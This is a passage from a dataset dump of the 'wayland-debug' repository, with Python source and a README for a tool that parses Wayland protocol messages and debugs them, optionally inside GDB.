return self.name.startswith(command.lower())\n\nclass Session:\n def __init__(self, display_matcher, stop_matcher, output):\n assert display_matcher\n assert stop_matcher\n self.current_connection_id = None\n self.connection_list = []\n self.connections = {}\n self.commands = [\n Command('help', '[COMMAND]', self.help_command,\n 'Show this help message, or get help for a specific command'),\n Command('show', '[MATCHER] [~ COUNT]', self.show_command,\n 'Show messages matching given matcher (or show all messages, if no matcher provided)\\n' +\n 'Append \"~ COUNT\" to show at most the last COUNT messages that match\\n' +\n 'See ' + command_format('help matcher') + ' for matcher syntax'),\n Command('filter', '[MATCHER]', self.filter_command,\n 'Show the current output filter matcher, or add a new one\\n' +\n 'See ' + command_format('help matcher') + ' for matcher syntax'),\n Command('breakpoint', '[MATCHER]', self.break_point_command,\n 'Show the current breakpoint matcher, or add a new one\\n' +\n 'Use an inverse matcher (^) to disable existing breakpoints\\n' +\n 'See ' + command_format('help matcher') + ' for matcher syntax'),\n Command('matcher', '[MATCHER]', self.matcher_command,\n 'Parse a matcher, and show it unsimplified'),\n Command('connection', '[CONNECTION]', self.connection_command,\n 'Show Wayland connections, or switch to another connection'),\n Command('resume', None, self.continue_command,\n 'Resume processing events\\n' +\n 'In GDB you can also use the continue gdb command'),\n Command('quit', None, self.quit_command,\n 'Quit the program'),\n ]\n self.is_stopped = False\n self.should_quit = False\n self.display_matcher = display_matcher\n self.stop_matcher = stop_matcher\n self.out = output\n\n def set_stopped(self, val):\n self.is_stopped = val\n\n def stopped(self):\n return self.is_stopped\n\n def quit(self):\n return self.should_quit\n\n def message(self, connection_id, message):\n if message == None:\n return\n self.is_stopped = False\n if not connection_id in self.connections:\n self.out.warn('connection_id ' + repr(connection_id) + ' never explicitly created')\n self.open_connection(connection_id)\n self.connections[connection_id].message(message)\n if connection_id == self.current_connection_id:\n if self.display_matcher.matches(message):\n message.show(self.out)\n if self.stop_matcher.matches(message):\n self.out.show(color('1;37', ' Stopped at ') + str(message).strip())\n self.is_stopped = True\n\n def open_connection(self, connection_id):\n self.close_connection(connection_id)\n if not self.connections:\n self.current_connection_id = connection_id\n self.out.show(color('1;32', 'First connection ' + repr(connection_id)))\n else:\n self.out.show(color('1;32', 'New connection ' + repr(connection_id)))\n self.connections[connection_id] = wl.Connection()\n self.connection_list.append(self.connections[connection_id])\n\n def close_connection(self, connection_id):\n if connection_id in self.connections:\n del self.connections[connection_id]\n self.out.show(color('1;31', 'Closed connection ' + repr(connection_id)))\n\n def show_messages(self, matcher, cap=None):\n self.out.show('Messages that match ' + str(matcher) + ':')\n matching, matched, didnt_match, not_searched = self._get_matching(matcher, cap)\n if not matching:\n if not self.connections:\n self.out.show(' โ•ฐโ•ด No messages yet')\n else:\n assert didnt_match == len(self.messages)\n self.out.show(' โ•ฐโ•ด None of the ' + color('1;31', str(didnt_match)) + ' messages so far')\n else:\n for message in matching:\n message.show(self.out)\n self.out.show(\n '(' +\n color(('1;32' if matched > 0 else '37'), str(matched)) + ' matched, ' +\n color(('1;31' if didnt_match > 0 else '37'), str(didnt_match)) + ' didn\\'t' +\n (', ' + color(('37'), str(not_searched)) + ' not checked' if not_searched != 0 else '') +\n ')')\n\n def _get_matching(self, matcher, cap=None):\n if cap == 0:\n cap = None\n didnt_match = 0\n acc = []\n messages = self.connections[self.current_connection_id].messages\n for message in reversed(messages):\n if matcher.matches(message):\n acc.append(message)\n if cap and len(acc) >= cap:\n break\n else:\n didnt_match += 1\n return (reversed(acc), len(acc), didnt_match, len(messages) - len(acc) - didnt_match)\n\n def command(self, command):\n assert isinstance(command, str)\n command = command.strip()\n args = re.split('\\s', command, 1)\n if len(args) == 0:\n return False\n cmd = args[0].strip()\n arg = None if len(args) < 2 else args[1].strip()\n if cmd == '':\n assert not arg\n self.out.error('No command specified')\n cmd = 'help'\n if cmd == 'w': # in case they use GDB style commands when not in GDB\n return self.command(arg)\n cmd = self._get_command(cmd)\n if cmd:\n self.out.log('Got ' + cmd.name + ' command' + (' with \\'' + arg + '\\'' if arg else ''))\n cmd.func(arg)\n\n def _get_command(self, command):\n found = []\n for c in self.commands:\n if c.name.startswith(command):\n found.append(c)\n if len(found) == 1:\n return found[0]\n else:\n if len(found) > 1:\n self.out.error('\\'' + command + '\\' could refer to multiple commands: ' + ', '.join(c.name for c in found))\n else:\n self.out.error('Unknown command \\'' + command + '\\'')\n return None\n\n def help_command(self, arg):\n if arg:\n if arg.startswith('wl'):\n arg = arg[2:].strip()\n if arg == 'matcher':\n import matcher\n matcher.print_help()\n return\n else:\n cmd = self._get_command(arg)\n if cmd:\n start = command_format(cmd.name) + ': '\n body = cmd.help.replace('\\n', '\\n' + ' ' * len(no_color(start)))\n self.out.show(start + body)\n return\n self.out.show('Usage: ' + command_format('<COMMAND> [ARGUMENT]'))\n self.out.show('Commands can be abbreviated (down to just the first unique letter)')\n self.out.show('Help with matcher syntax: ' + command_format('help matcher'))\n self.out.show('Commands:')\n for c in self.commands:\n s = c.name\n if c.arg:\n s += ' ' + c.arg\n self.out.show(' ' + command_format(s))\n\n # Old can be None\n def parse_and_join(self, new_unparsed, old):\n try:\n parsed = matcher.parse(new_unparsed)\n if old:\n return matcher.join(parsed, old).simplify()\n else:\n return parsed.simplify()\n except RuntimeError as e:\n self.out.error('Failed to parse \"' + new_unparsed + '\":\\n ' + str(e))\n return old\n\n def filter_command(self, arg):\n if arg:\n self.display_matcher = self.parse_and_join(arg, self.display_matcher)\n self.out.show('Only showing messages that match ' + str(self.display_matcher))\n else:\n self.out.show('Output filter: ' + str(self.display_matcher))\n\n def break_point_command(self, arg):\n if arg:\n self.stop_matcher = self.parse_and_join(arg, self.stop_matcher)\n self.out.show('Breaking on messages that match: ' + str(self.stop_matcher))\n else:\n self.out.show('Breakpoint matcher: ' + str(self.stop_matcher))\n\n def matcher_command(self, arg):\n if arg:\n try:\n parsed = matcher.parse(arg)\n unsimplified_str = str(parsed)\n self.out.show('Unsimplified: ' + unsimplified_str)\n self.out.show(' Simplified: ' + str(parsed.simplify()))\n self.out.show(' Reparsed: ' + str(matcher.parse(unsimplified_str).simplify()))\n except RuntimeError as e:\n self.out.error('Failed to parse \"' + arg + '\":\\n ' + str(e))\n else:\n self.out.show('No matcher to parse')\n\n def show_command(self, arg):\n cap = None\n if arg:\n args = arg.split('~')\n if len(args) == 2:\n try:\n cap = int(args[1])\n except ValueError:\n self.out.error('Expected number after \\'~\\', got \\'' + args[1] + '\\'')\n return\n m = self.parse_and_join(args[0], None)\n if not m:\n return\n else:\n m = matcher.always\n self.show_messages(m, cap)\n\n def connection_command(self, arg):\n if arg:\n arg = no_color(arg)\n if arg in self.connections:\n self.current_connection_id = arg\n self.out.show('Switched to connection ' + repr(arg))\n else:\n self.out.error(repr(arg) + ' is not a known connection')\n for k, v in self.connections.items():\n if k == self.current_connection_id:\n name = color('1;37', ' > ' + k)\n else:\n name = color('37', ' ' + k)\n self.out.show(name + ' (' + str(len(v.messages)) + ' messages)')\n\n def continue_command(self, arg):\n self.is_stopped = False\n self.out.log('Continuing...')\n\n def quit_command(self, arg):\n self.should_quit = True\n\nif __name__ == '__main__':\n print('File meant to be imported, not run')\n exit(1)\n" }, { "alpha_fraction": 0.6676633954048157, "alphanum_fraction": 0.6736437678337097, "avg_line_length": 46.292930603027344, "blob_id": "fc249eafc96853b7e250d9297feeb901a2d1ed29", "content_id": "77400ff1a93653c7f1c17e092a085bba2f78b957", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4682, "license_type": "permissive", "max_line_length": 348, "num_lines": 99, "path": "/readme.md", "repo_name": "Timidger/wayland-debug", "src_encoding": "UTF-8", "text": "# Wayland debug\n\nA tool for debugging Wayland protocol messages. It integrates directly with with GDB, or can parse the output of a wayland app/compositor run with `WAYLAND_DEBUG=1`\n\n## Usage\n```\nwldbg [-h] [--matcher-help] [-v] [-l PATH] [-s] [-c] [-C] [-f MATCHER] [-b MATCHER] [-g]\n\n -h, --help show this help message and exit\n\n --matcher-help show how to write matchers and exit\n\n -v, --verbose verbose output, mostly used for debugging this program\n\n -l PATH, --load PATH load Wayland events from a file instead of stdin\n\n -s, --supress supress non-wayland output of the program\n\n -c, --color force color output (default for interactive sessions)\n\n -C, --no-color disable color output (default for non-interactive sessions)\n\n -f F, --filter F only show these objects/messages (see --matcher-help for syntax)\n\n -b B, --break B stop on these objects/messages (see --matcher-help for syntax)\n\n -g, --gdb run inside gdb, all subsequent arguments are sent to gdb\n```\n\n## Commands\nWhen you hit a breakpoint while reading from a file or in GDB (in the latter case, it can be a Wayland breakpoint or just a normal GDB one), you can issue a number of commands. If you are in GDB, wayland debug commands must be prefixed with 'wl'. When loading from a file, the wl can be dropped.\n```\n $ help COMMAND Show this help message, or get help for a specific command\n\n $ show MATCHER [~COUNT] Show messages matching given matcher (or show all messages, if no matcher provided)\n Append \"~ COUNT\" to show at most the last COUNT messages that match\n See help matcher for matcher syntax\n\n $ filter MATCHER Show the current output filter matcher, or add a new one\n See help matcher for matcher syntax\n\n $ breakpoint MATCHER Show the current breakpoint matcher, or add a new one\n Use an inverse matcher (^) to disable existing breakpoints\n See help matcher for matcher syntax\n\n $ matcher MATCHER Parse a matcher, and show it unsimplified\n\n $ connection CONNECTION Show Wayland connections, or switch to another connection\n\n $ resume Resume processing events\n In GDB you can also use the continue gdb command\n\n $ quit Quit the program\n```\n\n## Matchers\nMatchers are used through out the program to show and hide messages. A matcher consists of a comma seporated list of objects. An object is a type name, and/or an object ID (in which case a generation can also be specified). An @ goes inbetween the name and ID, and is optional if both are not specified. A * can be used as a wildcard in type names.\n\nExamples of objects:\n\n| Matcher | Description |\n| --- | --- |\n| `wl_surface` | Matches any wl_surface |\n| `5` | Matches the object with ID 5 |\n| `4.12` | Matches the 12th object with ID 4 |\n| `wl_surface@6` | Matches the object with ID 7, which is asserted to be a wl_surface |\n| `xdg_*@3.2` | Matches the 2nd object with ID 3, which is some sort of XDG type |\n\nMatchers can optionally be accompanied by a brace enclosed, comma seporated list of messages. Messages can have wildcards too. Messages before the object require the object to be on argument, and messages after require the message to be called on the object.\n\nExamples of messages:\n\n| Matcher | Description |\n| --- | --- |\n| `wl_surface[commit]` | Matches commit messages on wl_surfaces |\n| `6.2[motion,button]` | Matches motion or button messages on the 2nd object with ID 6 |\n| `[delete_id]*_surface` | Matches delete_id messages on any sort of surface (this works even though the messages themselves are called on the wl_display) |\n\nIf the matcher list (or a message list) starts with '^', it matches everything but what's given.\n\n## Examples\n\n### Using GDB (recomended)\nThis will spin up an instance of GDB, and run the program inside it. It will show all messages, but break when an XDG thing is configured or when object ID 12 is used\n```bash\n./main.py -b 'xdg_*[configure], 12' -g program\n```\n\n### Piping messages from stdin\nThis will only show pointer, surface commit and surface destroy messages\n```bash\nWAYLAND_DEBUG=1 program 2>&1 1>/dev/null | ./main.py -f 'wl_pointer, wl_surface[commit, destroy]'\n```\n\n### Loading from a file\nThis will show everything but callbacks and frame messages. file.log was presumably written from the output of libwayland with `WAYLAND_DEBUG=1`.\n```bash\n./main.py -l dir/file.log -f '^ wl_callback, *[frame]'\n```\n" }, { "alpha_fraction": 0.5471901893615723, "alphanum_fraction": 0.555115282535553, "avg_line_length": 38.28302001953125, "blob_id": "79b2bfe036f80b2802092b0db49b947c5abbb7ce", "content_id": "5b602c5ca72ab7a1c7cac1b06879dc90ba3a89fb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8332, "license_type": "permissive", "max_line_length": 131, "num_lines": 212, "path": "/wl_data.py", "repo_name": "Timidger/wayland-debug", "src_encoding": "UTF-8", "text": "from util import *\n\nclass Connection:\n def __init__(self):\n # keys are ids, values are arrays of objects in the order they are created\n self.db = {}\n self.messages = []\n self.display = Object(self, 1, 'wl_display', None, 0)\n\n def look_up_specific(self, obj_id, obj_generation, type_name = None):\n assert obj_id in self.db, 'Id ' + str(obj_id) + ' of type ' + str(type_name) + ' not in object database'\n assert obj_generation >= 0 and len(self.db[obj_id]) > obj_generation, (\n 'Invalid generation ' + str(obj_generation) + ' for id ' + str(obj_id))\n obj = self.db[obj_id][obj_generation]\n if type_name:\n if obj.type:\n assert str_matches(type_name, obj.type), str(obj) + ' expected to be of type ' + type_name\n return obj\n\n def look_up_most_recent(self, obj_id, type_name = None):\n obj_generation = 0\n if obj_id in self.db:\n obj_generation = len(self.db[obj_id]) - 1\n obj = self.look_up_specific(obj_id, obj_generation, type_name)\n # This *would* be a useful warning, except somehow callback.done, delete(callback) (though sent in the right\n # order), arrive to the client in the wrong order. I don't know a better workaround then just turning off the check\n # if not obj.alive:\n # warning(str(obj) + ' used after destroyed')\n return obj\n\n def message(self, message):\n self.messages.append(message)\n message.resolve(self)\n\nclass ObjBase:\n def type_str(self):\n if self.type:\n return self.type\n else:\n return '???'\n def id_str(self):\n ret = str(self.id)\n if self.generation == None:\n ret += '.?'\n else:\n ret += '.' + str(self.generation)\n return ret\n def to_str(self):\n return color('1;36' if self.type else '1;31', self.type_str()) + color('37', '@') + color('1;37', self.id_str())\n\nclass Object(ObjBase):\n def __init__(self, connection, obj_id, type_name, parent_obj, create_time):\n assert isinstance(obj_id, int)\n assert obj_id > 0\n assert isinstance(type_name, str)\n assert isinstance(parent_obj, Object) or (parent_obj == None and obj_id == 1)\n assert isinstance(create_time, float) or isinstance(create_time, int)\n if obj_id in connection.db:\n last_obj = connection.db[obj_id][-1]\n assert not last_obj.alive, 'Tried to create object of type ' + type_name + ' with the same id as ' + str(last_obj)\n else:\n connection.db[obj_id] = []\n self.generation = len(connection.db[obj_id])\n connection.db[obj_id].append(self)\n self.connection = connection\n self.type = type_name\n self.id = obj_id\n self.parent = parent_obj\n self.create_time = create_time\n self.destroy_time = None\n self.alive = True\n\n def destroy(self, time):\n self.destroy_time = time\n self.alive = False\n\n def __str__(self):\n assert self.connection.db[self.id][self.generation] == self, 'Database corrupted'\n return self.to_str()\n\n class Unresolved(ObjBase):\n def __init__(self, obj_id, type_name):\n assert isinstance(obj_id, int)\n assert obj_id > 0\n assert isinstance(type_name, str) or type_name == None\n self.id = obj_id\n self.generation = None\n self.type = type_name\n def resolve(self, connection):\n if self.id > 100000:\n warning('Ignoreing unreasonably large ID ' + str(self.id) + ' as it is likely to cause an error')\n return self\n return connection.look_up_most_recent(self.id, self.type)\n def __str__(self):\n return color('1;31', 'unresolved<') + self.to_str() + color('1;31', '>')\n\nclass ArgBase:\n pass\n\nclass Arg:\n error_color = '2;33'\n\n # ints, floats, strings and nulls\n class Primitive(ArgBase):\n def __init__(self, value):\n self.value = value\n def __str__(self):\n if isinstance(self.value, int):\n return color('1;34', str(self.value))\n elif isinstance(self.value, float):\n return color('1;35', str(self.value))\n elif isinstance(self.value, str):\n return color('1;33', repr(self.value))\n elif self.value == None:\n return color('37', 'null')\n else:\n return color(Arg.error_color, type(self.value).__name__ + ': ' + repr(self.value))\n\n class Object(ArgBase):\n def __init__(self, obj, is_new):\n assert isinstance(obj, ObjBase)\n assert isinstance(is_new, bool)\n self.obj = obj\n self.is_new = is_new\n def set_type(self, new_type):\n if isinstance(self.obj, Object.Unresolved) and self.obj.type == None:\n self.obj.type = new_type\n assert new_type == self.obj.type, 'Object arg already has type ' + self.obj.type + ', so can not be set to ' + new_type\n def resolve(self, connection, parent_obj, time):\n if isinstance(self.obj, Object.Unresolved):\n if self.is_new:\n Object(connection, self.obj.id, self.obj.type, parent_obj, time)\n self.obj = self.obj.resolve(connection)\n def __str__(self):\n return (color('1;32', 'new ') if self.is_new else '') + str(self.obj)\n\n class Fd(ArgBase):\n def __init__(self, value):\n self.value = value\n def __str__(self):\n return color('36', 'fd ' + str(self.value))\n\n class Unknown(ArgBase):\n def __init__(self, string):\n assert isinstance(string, str)\n self.string = string\n def __str__(self):\n return color(Arg.error_color, 'Unknown: ' + repr(self.string))\n\nclass Message:\n base_time = None\n\n def __init__(self, abs_time, obj, sent, name, args):\n assert isinstance(abs_time, float) or isinstance(abs_time, int)\n assert isinstance(obj, ObjBase)\n assert isinstance(sent, bool)\n assert isinstance(name, str)\n for arg in args:\n assert isinstance(arg, ArgBase)\n if Message.base_time == None:\n Message.base_time = abs_time\n self.timestamp = abs_time - Message.base_time\n self.obj = obj\n self.sent = sent\n self.name = name\n self.args = args\n self.destroyed_obj = None\n\n def resolve(self, connection):\n if isinstance(self.obj, Object.Unresolved):\n self.obj = self.obj.resolve(connection)\n if self.obj.type == 'wl_registry' and self.name == 'bind':\n assert isinstance(self.args[3], Arg.Object)\n self.args[3].set_type(self.args[1].value)\n if self.obj == connection.display and self.name == 'delete_id' and len(self.args) > 0:\n self.destroyed_obj = connection.look_up_most_recent(self.args[0].value, None)\n self.destroyed_obj.destroy(self.timestamp)\n for i in self.args:\n if isinstance(i, Arg.Object):\n i.resolve(connection, self.obj, self.timestamp)\n\n def used_objects(self):\n result = []\n for i in self.args:\n if isinstance(i, Arg.Object):\n result.append(i.obj)\n if self.destroyed_obj:\n result.append(self.destroyed_obj)\n return result\n\n def __str__(self):\n destroyed = ''\n if self.destroyed_obj:\n destroyed = (\n color(timestamp_color, ' [') +\n color('1;31', 'destroyed ') +\n str(self.destroyed_obj) +\n color(timestamp_color, ']'))\n return (\n (' ' + color('37', 'โ†’ ') if self.sent else '') +\n str(self.obj) + ' ' +\n color(message_color, self.name + '(') +\n color(message_color, ', ').join([str(i) for i in self.args]) + color(message_color, ')') +\n destroyed +\n (color(timestamp_color, ' โ†ฒ') if not self.sent else ''))\n\n def show(self, out):\n out.show(color('37', '{:8.4f}'.format(self.timestamp)) + ' ' + str(self))\n\nif __name__ == '__main__':\n print('File meant to be imported, not run')\n exit(1)\n" }, { "alpha_fraction": 0.5404040217399597, "alphanum_fraction": 0.5501893758773804, "avg_line_length": 32.70212936401367, "blob_id": "5b50b66fd222ae09973edab1e58fe64d244766ac", "content_id": "60314338d8e852368089ca11886ddf1325651719", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3168, "license_type": "permissive", "max_line_length": 111, "num_lines": 94, "path": "/parse_wl_debug.py", "repo_name": "Timidger/wayland-debug", "src_encoding": "UTF-8", "text": "import re\n\nimport wl_data as wl\nimport session\nfrom util import *\n\ndef argument(value_str):\n int_matches = re.findall('^-?\\d+$', value_str)\n if int_matches:\n return wl.Arg.Primitive(int(value_str))\n float_matches = re.findall('^-?\\d+(\\.\\d+)?([eE][+-]?\\d+)?$', value_str)\n if float_matches:\n return wl.Arg.Primitive(float(value_str))\n nil_matches = re.findall('^nil$', value_str)\n if nil_matches:\n return wl.Arg.Primitive(None)\n fd_matches = re.findall('^fd (\\d+)$', value_str)\n if fd_matches:\n return wl.Arg.Fd(int(fd_matches[0]))\n str_matches = re.findall('^\"(.*)\"$', value_str)\n if str_matches:\n return wl.Arg.Primitive(str_matches[0])\n new_id_unknown_matches = re.findall('^new id \\[unknown\\]@(\\d+)$', value_str)\n if new_id_unknown_matches:\n return wl.Arg.Object(wl.Object.Unresolved(int(new_id_unknown_matches[0]), None), True)\n new_id_matches = re.findall('^new id (\\w+)@(\\d+)$', value_str)\n if new_id_matches:\n return wl.Arg.Object(wl.Object.Unresolved(int(new_id_matches[0][1]), new_id_matches[0][0]), True)\n obj_matches = re.findall('^(\\w+)@(\\d+)$', value_str)\n if obj_matches:\n return wl.Arg.Object(wl.Object.Unresolved(int(obj_matches[0][1]), obj_matches[0][0]), False)\n else:\n return wl.Arg.Unknown(value_str)\n\ndef argument_list(args_str):\n args = []\n start = 0\n i = 0\n while i <= len(args_str):\n if i == len(args_str) or args_str[i] == ',':\n arg = args_str[start:i].strip()\n if (arg):\n args.append(argument(arg))\n start = i + 1\n elif args_str[i] == '\"':\n i += 1\n while args_str[i] != '\"':\n if args_str[i] == '\\\\':\n i += 1\n i += 1\n i += 1\n return args\n\ndef message(raw):\n timestamp_regex = '\\[(\\d+\\.\\d+)\\]'\n message_regex = '(\\w+)@(\\d+)\\.(\\w+)\\((.*)\\)$'\n sent = True\n matches = re.findall(timestamp_regex + ' -> ' + message_regex, raw)\n if not matches:\n sent = False\n matches = re.findall(timestamp_regex + ' ' + message_regex, raw)\n if len(matches) != 1:\n raise RuntimeError(raw)\n match = matches[0]\n assert isinstance(match, tuple), repr(match)\n abs_timestamp = float(match[0]) / 1000.0\n type_name = match[1]\n obj_id = int(match[2])\n message_name = match[3]\n message_args_str = match[4]\n message_args = argument_list(message_args_str)\n return wl.Message(abs_timestamp, wl.Object.Unresolved(obj_id, type_name), sent, message_name, message_args)\n\ndef file(input_file, out):\n parse = True\n while True:\n line = input_file.readline()\n if line == '':\n break\n line = line.strip() # be sure to strip after the empty check\n try:\n msg = message(line)\n if parse:\n yield msg\n except RuntimeError as e:\n out.unprocessed(str(e))\n except:\n import traceback\n out.show(traceback.format_exc())\n parse = False\n\nif __name__ == '__main__':\n print('File meant to be imported, not run')\n exit(1)\n" }, { "alpha_fraction": 0.6280956268310547, "alphanum_fraction": 0.6306575536727905, "avg_line_length": 35.5859375, "blob_id": "ec53ca56172bd7eac5a995e1f3cbf2248a07bdd9", "content_id": "15fcc9c3527a39fb30a4ac7dba2d46fa694084b0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4684, "license_type": "permissive", "max_line_length": 168, "num_lines": 128, "path": "/main.py", "repo_name": "Timidger/wayland-debug", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nimport sys\nimport re\n\nfrom util import *\nimport matcher\nimport session as wl_session\nimport parse_wl_debug as parse\nimport gdb_runner\n\nexample_usage = 'WAYLAND_DEBUG=1 program 2>&1 1>/dev/null | ' + sys.argv[0]\n\ndef piped_input_main(session):\n session.out.log('Getting input piped from stdin')\n for msg in parse.file(sys.stdin, session.out):\n session.message('PIPE', msg)\n session.out.log('Done')\n\ndef file_input_main(session, file_path):\n session.out.log('Opening ' + file_path)\n input_file = open(file_path)\n session.out.log('Parsing messages')\n for msg in parse.file(input_file, session.out):\n session.message('FILE', msg)\n while session.stopped():\n if session.quit():\n break\n cmd = input('wl debug $ ')\n session.command(cmd)\n if session.quit():\n break\n input_file.close()\n session.out.log('Done')\n\ndef main():\n import argparse\n parser = argparse.ArgumentParser(description='Debug Wayland protocol messages, see https://github.com/wmww/wayland-debug for additional info')\n parser.add_argument('--matcher-help', action='store_true', help='show how to write matchers and exit')\n parser.add_argument('-v', '--verbose', action='store_true', help='verbose output, mostly used for debugging this program')\n parser.add_argument('-l', '--load', dest='path', type=str, help='load Wayland events from a file instead of stdin')\n parser.add_argument('-s', '--supress', action='store_true', help='supress non-wayland output of the program')\n parser.add_argument('-c', '--color', action='store_true', help='force color output (default for interactive sessions)')\n parser.add_argument('-C', '--no-color', action='store_true', help='disable color output (default for non-interactive sessions)')\n parser.add_argument('-f', '--filter', dest='f', type=str, help='only show these objects/messages (see --matcher-help for syntax)')\n parser.add_argument('-b', '--break', dest='b', type=str, help='stop on these objects/messages (see --matcher-help for syntax)')\n parser.add_argument('-g', '--gdb', action='store_true', help='run inside gdb, all subsequent arguments are sent to gdb, when inside gdb start commands with \\'wl\\'')\n # NOTE: -d/--gdb is here only for the help text, it is processed without argparse in gdb_runner.main()\n\n args = parser.parse_args()\n\n out_file = sys.stdout\n err_file = sys.stderr\n if check_gdb():\n # Stops the annoying continue prompts in GDB\n out_file = sys.stderr\n\n if args.no_color:\n set_color_output(False)\n elif args.color:\n set_color_output(True)\n\n verbose = bool(args.verbose)\n unprocessed_output = not bool(args.supress)\n output = Output(verbose, unprocessed_output, out_file, err_file)\n\n if verbose:\n set_verbose(True)\n output.log('Verbose output enabled')\n\n if args.no_color:\n if args.color:\n output.warn('Ignoring --color, since --no-color was also specified')\n output.log('Color output disabled')\n elif args.color:\n s = ''\n i = 0\n for i, c in enumerate('Color output enabled'):\n s += color('1;' + str(i % 6 + 31), c)\n output.log(s)\n\n if unprocessed_output:\n output.log('Showing unparsable output')\n\n if args.matcher_help:\n matcher.print_help()\n exit(1)\n\n filter_matcher = matcher.always\n if args.f:\n try:\n filter_matcher = matcher.parse(args.f).simplify()\n output.log('Filter matcher: ' + str(filter_matcher))\n except RuntimeError as e:\n output.error(e)\n\n stop_matcher = matcher.never\n if args.b:\n try:\n stop_matcher = matcher.parse(args.b).simplify()\n output.log('Break matcher: ' + str(stop_matcher))\n except RuntimeError as e:\n output.error(e)\n\n session = wl_session.Session(filter_matcher, stop_matcher, output)\n\n file_path = args.path\n\n if check_gdb():\n if file_path:\n output.warn('Ignoring load file because we\\'re inside GDB')\n import gdb_interface\n gdb_interface.main(session)\n elif file_path:\n file_input_main(session, file_path)\n else:\n if args.b:\n output.warn('Ignoring stop matcher when stdin is used for messages')\n piped_input_main(session)\n\nif __name__ == '__main__':\n if check_gdb() or (hasattr(sys.stdout, 'isatty') and sys.stdout.isatty()):\n set_color_output(True)\n # First, we check if we're supposed to run inside GDB, and do that if so\n if gdb_runner.main():\n pass\n else:\n main()\n\n" }, { "alpha_fraction": 0.5937593579292297, "alphanum_fraction": 0.5991598963737488, "avg_line_length": 44.0405387878418, "blob_id": "7cfcf4be2d7b990657d7a82b74b1199fade96e76", "content_id": "28dce386f7e2df8d520bf414d2675ac4e1c11443", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3333, "license_type": "permissive", "max_line_length": 117, "num_lines": 74, "path": "/gdb_runner.py", "repo_name": "Timidger/wayland-debug", "src_encoding": "UTF-8", "text": "import sys\nimport subprocess\nimport os\nimport re\n\nimport util\n\ndef check_libwayland():\n # First, we use ldconfig to find libwayland\n cmd = ['ldconfig', '-p']\n sp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = sp.communicate()\n stdout = stdout.decode('utf-8') if stdout != None else ''\n if sp.returncode != 0:\n raise RuntimeError('`' + ' '.join(cmd) + '` exited with code ' + str(sp.returncode))\n result = re.findall('(libwayland-client.so).*=> (/.*)[\\n$]', stdout)\n if len(result) == 0:\n raise RuntimeError('output of `' + ' '.join(cmd) + '` did not contain its path')\n libwayland_path = result[0][1]\n cmd = ['readelf', '-s', libwayland_path]\n sp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = sp.communicate()\n stdout = stdout.decode('utf-8') if stdout != None else ''\n if sp.returncode != 0:\n RuntimeError('`' + ' '.join(cmd) + '` exited with code ' + str(sp.returncode))\n if stdout.find(' wl_closure_invoke') == -1:\n return 'output of `' + ' '.join(cmd) + '` does not contain wl_closure_invoke'\n else:\n return None\n\ndef main_with_args(my_args, gdb_args):\n # The high level plan is to spin up an instance of gdb, and another instance of ourselves inside it\n\n # Imports will be broken on this new version, so we need to fix the python import path for the child process\n env = os.environ.copy()\n python_path_var = 'PYTHONPATH'\n prev = ''\n if python_path_var in env:\n prev = ':' + env[python_path_var]\n # Add the directeory the running file is located in to the path\n env[python_path_var] = os.path.dirname(os.path.realpath(my_args[0])) + prev\n\n # All the args before the -d/--gdb need to be sent along to the child instance\n # Since we run the child instance from the GDB command, we need to pack them all in there\n my_args_str = ', '.join('\"' + i.replace('\"', '\\\\\"') + '\"' for i in [''] + my_args[1:])\n # Yes, this is exactly what it looks like. It's is python code, inside python code which runs python code\n call_str = 'python import sys; sys.argv = [' + my_args_str + ']; exec(open(\"' + my_args[0] + '\").read())'\n call_args = ['gdb', '-ex', call_str] + gdb_args\n print('Running subprocess: ' + repr(call_args))\n sp = subprocess.Popen(call_args, env=env)\n while True:\n try:\n sp.wait()\n return\n except KeyboardInterrupt:\n pass\n\ndef main():\n if util.check_gdb():\n # debugging infinitaly nested debuggers isn't fun\n return False\n # Look for the -d or --gdb arguments, and split the argument list based on where they are\n for i in range(len(sys.argv)):\n if sys.argv[i] == '-g' or sys.argv[i] == '--gdb':\n main_with_args(sys.argv[:i+1], sys.argv[i+1:])\n return True\n elif len(sys.argv[i]) > 2 and sys.argv[i][0] == '-' and sys.argv[i][1] != '-':\n # look for a g in the list of single char args\n for c in sys.argv[i]:\n if c == 'g':\n # the last batch of args will all go to the child wayland debug, which will simply ignore the 'g'\n main_with_args(sys.argv[:i+1], sys.argv[i+1:])\n return True\n return False\n" }, { "alpha_fraction": 0.58712238073349, "alphanum_fraction": 0.5903265476226807, "avg_line_length": 36.88439178466797, "blob_id": "6c98891033f649898497259b47dc564725c23c82", "content_id": "f431f3a6c3d98e169e425f50d82984fffa00b423", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6554, "license_type": "permissive", "max_line_length": 138, "num_lines": 173, "path": "/gdb_interface.py", "repo_name": "Timidger/wayland-debug", "src_encoding": "UTF-8", "text": "import gdb\nimport wl_data as wl\nimport session as wl_session\nimport matcher as wl_matcher\nfrom gdb_runner import check_libwayland\n\n# # libwayland client functions\n# wl_proxy_marshal\n# wl_proxy_destroy\n# wl_proxy_marshal_constructor\n\ndef gdb_is_null(val):\n return str(val) == '0x0'\n\ntype_codes = {i: True for i in ['i', 'u', 'f', 's', 'o', 'n', 'a', 'h']}\n\ndef process_closure(send):\n closure = gdb.selected_frame().read_var('closure')\n wl_object = None\n connection = None\n try:\n connection = gdb.selected_frame().read_var('connection')\n except ValueError:\n if int(gdb.selected_frame().read_var('flags')) == 1:\n proxy = closure['proxy']\n wl_object = proxy['object']\n connection = proxy['display']['connection']\n else:\n target = gdb.selected_frame().read_var('target')\n resource_type = gdb.lookup_type('struct wl_resource').pointer()\n resource = target.cast(resource_type)\n wl_object = resource['object']\n connection = resource['client']['connection']\n connection_addr = str(connection)\n obj_id = int(closure['sender_id'])\n obj_type = None\n if wl_object:\n obj_type = wl_object['interface']['name'].string()\n 